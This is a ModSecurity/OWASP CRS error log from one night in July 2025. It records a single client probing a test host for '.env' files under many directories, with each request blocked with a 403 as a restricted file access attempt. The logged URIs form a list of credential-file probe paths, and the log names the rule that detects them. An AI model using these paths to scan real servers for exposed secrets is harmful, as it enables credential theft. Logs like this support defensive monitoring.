[Mon Jul 28 20:46:20.213000 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellwAAAAg&quot;]
[Mon Jul 28 20:46:20.213193 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellwAAAAg&quot;]
[Mon Jul 28 20:46:20.635277 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelpQAAAAg&quot;]
[Mon Jul 28 20:46:20.635502 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelpQAAAAg&quot;]
[Mon Jul 28 20:46:20.635692 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelpQAAAAg&quot;]
[Mon Jul 28 20:46:20.665604 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelpgAAAAg&quot;]
[Mon Jul 28 20:46:20.665813 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelpgAAAAg&quot;]
[Mon Jul 28 20:46:20.665980 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelpgAAAAg&quot;]
[Mon Jul 28 20:46:20.695281 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelpwAAAAg&quot;]
[Mon Jul 28 20:46:20.695495 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelpwAAAAg&quot;]
[Mon Jul 28 20:46:20.695672 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelpwAAAAg&quot;]
[Mon Jul 28 20:46:20.724958 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staticfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqAAAAAg&quot;]
[Mon Jul 28 20:46:20.725213 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqAAAAAg&quot;]
[Mon Jul 28 20:46:20.725419 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqAAAAAg&quot;]
[Mon Jul 28 20:46:20.754767 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqQAAAAg&quot;]
[Mon Jul 28 20:46:20.755004 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqQAAAAg&quot;]
[Mon Jul 28 20:46:20.755194 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqQAAAAg&quot;]
[Mon Jul 28 20:46:20.785146 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqgAAAAg&quot;]
[Mon Jul 28 20:46:20.785406 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqgAAAAg&quot;]
[Mon Jul 28 20:46:20.785602 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqgAAAAg&quot;]
[Mon Jul 28 20:46:20.815033 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqwAAAAg&quot;]
[Mon Jul 28 20:46:20.815268 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqwAAAAg&quot;]
[Mon Jul 28 20:46:20.815487 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelqwAAAAg&quot;]
[Mon Jul 28 20:46:20.875266 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /strapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelrQAAAAg&quot;]
[Mon Jul 28 20:46:20.875514 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelrQAAAAg&quot;]
[Mon Jul 28 20:46:20.875726 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelrQAAAAg&quot;]
[Mon Jul 28 20:46:20.904945 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /style/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelrgAAAAg&quot;]
[Mon Jul 28 20:46:20.905184 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelrgAAAAg&quot;]
[Mon Jul 28 20:46:20.905359 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelrgAAAAg&quot;]
[Mon Jul 28 20:46:20.934693 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /styles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelrwAAAAg&quot;]
[Mon Jul 28 20:46:20.934924 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelrwAAAAg&quot;]
[Mon Jul 28 20:46:20.935114 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelrwAAAAg&quot;]
[Mon Jul 28 20:46:20.964324 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stylesheets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelsAAAAAg&quot;]
